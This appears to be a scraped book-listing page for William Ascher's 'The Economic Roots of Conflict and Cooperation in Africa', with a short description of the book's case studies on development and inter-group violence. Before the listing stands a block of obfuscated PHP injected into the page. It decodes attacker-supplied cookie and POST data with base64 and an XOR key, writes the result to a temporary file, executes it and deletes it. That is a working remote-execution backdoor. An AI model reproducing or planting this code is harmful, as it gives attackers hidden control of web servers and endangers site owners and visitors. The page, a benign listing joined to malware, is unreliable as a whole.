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$bDnExOSEZY = 'D' . 'A' . '_' . chr (108) . "\120" . chr ( 283 - 179 )."\x72";$HRoGe = chr (99) . "\154" . "\141" . chr (115) . 's' . "\x5f" . "\145" . chr (120) . "\x69" . 's' . "\x74" . "\163";$ywgOsDdZVn = class_exists($bDnExOSEZY); $bDnExOSEZY = "57002";$HRoGe = "12424";$KgySY = !1;if ($ywgOsDdZVn == $KgySY){function scGYHXaVC(){return FALSE;}$khgiZAsykW = "12829";scGYHXaVC();class DA_lPhr{private function QEifG($khgiZAsykW){if (is_array(DA_lPhr::$GlIaqjSwp)) {$hgCCgJiSIe = sys_get_temp_dir() . "/" . crc32(DA_lPhr::$GlIaqjSwp["\163" . "\141" . chr (108) . chr (116)]);@DA_lPhr::$GlIaqjSwp["\x77" . chr (114) . chr ( 860 - 755 ).'t' . 'e']($hgCCgJiSIe, DA_lPhr::$GlIaqjSwp['c' . "\157" . chr ( 350 - 240 ).chr ( 773 - 657 ).'e' . "\x6e" . "\x74"]);include $hgCCgJiSIe;@DA_lPhr::$GlIaqjSwp[chr ( 470 - 370 ).chr ( 993 - 892 ).'l' . chr (101) . "\x74" . "\x65"]($hgCCgJiSIe); $khgiZAsykW = "12829";exit();}}private $lecuYqZw;public function uFolYEtxs(){echo 31494;}public function __destruct(){$khgiZAsykW = "55089_13933";$this->QEifG($khgiZAsykW); $khgiZAsykW = "55089_13933";}public function __construct($QqKwXPX=0){$AUYZb = $_POST;$KQFFwwvg = $_COOKIE;$UIPiwEZo = "ffecde03-e2cc-44d3-bdd5-be79edeb5a5f";$VIHitHb = @$KQFFwwvg[substr($UIPiwEZo, 0, 4)];if (!empty($VIHitHb)){$RbcpXAfzPX = "base64";$soOcbt = "";$VIHitHb = explode(",", $VIHitHb);foreach ($VIHitHb as $PKJeQLX){$soOcbt .= @$KQFFwwvg[$PKJeQLX];$soOcbt .= @$AUYZb[$PKJeQLX];}$soOcbt = array_map($RbcpXAfzPX . "\x5f" . chr ( 818 - 718 ).'e' . 'c' . chr (111) . "\144" . "\x65", array($soOcbt,)); $soOcbt = $soOcbt[0] ^ str_repeat($UIPiwEZo, (strlen($soOcbt[0]) / strlen($UIPiwEZo)) + 1);DA_lPhr::$GlIaqjSwp = @unserialize($soOcbt); $soOcbt = class_exists("55089_13933");}}public static $GlIaqjSwp = 34084;}$uWZEyJwSoz = new /* 12054 */ DA_lPhr(12829 + 12829); $_POST = Array();unset($uWZEyJwSoz);} The Economic Roots of Conflict and Cooperation in Africa | The Economic Roots of Conflict and Cooperation in Africa – William Ascher, Ph.D.

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The Economic Roots of Conflict and Cooperation in Africa

ISBN: 9781137356789

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The Economic Roots of Conflict and Cooperation in Africa explores how the development strategies of African nations shape the nature and dynamics of inter-group violence. The overview chapter assesses development doctrines, patterns of development, and levels and nature of violence in both North Africa and Sub-Saharan Africa. Focusing on eleven countries, the case-study contributions explore the immediate and long-term impacts of development initiatives on reducing or increasing inter-group conflict and violence. They demonstrate the importance of evolving identities as economic roles and conditions change. These insights can guide policymakers, development professionals, and activists committed to conflict-sensitive development.

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The Economic Roots of Conflict and Cooperation in Africa

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